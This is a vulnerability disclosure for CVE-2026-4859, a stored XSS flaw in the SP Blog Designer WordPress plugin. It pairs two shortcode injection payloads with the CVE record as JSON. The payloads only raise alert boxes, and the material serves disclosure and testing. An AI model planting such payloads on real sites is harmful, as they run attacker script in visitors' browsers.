CVE-2026-4859

<!-- PoC for CVE-2026-4859 Stored XSS --> <!-- Usage: Add this shortcode to a post/page as a Contributor user --> [wpsbd_post_carousel design='" onmouseover="alert(document.cookie)"'] <!-- Alternative payload to break out of attribute --> [wpsbd_post_carousel design='"><script>alert(document.domain)</script>']

{"cve": {"id": "CVE-2026-4859", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:54.390", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SP Blog Designer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'design' attribute of the `wpsbd_post_carousel` shortcode in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sp-blog-designer/tags/1.0.0/includes/shortcode/wpsbd-post-carousel.php#L156", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sp-blog-designer/trunk/includes/shortcode/wpsbd-post-carousel.php#L156", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/705b1da0-df92-40c2-a608-ccad32a9c224?source=cve", "source": "[email protected]"}]}}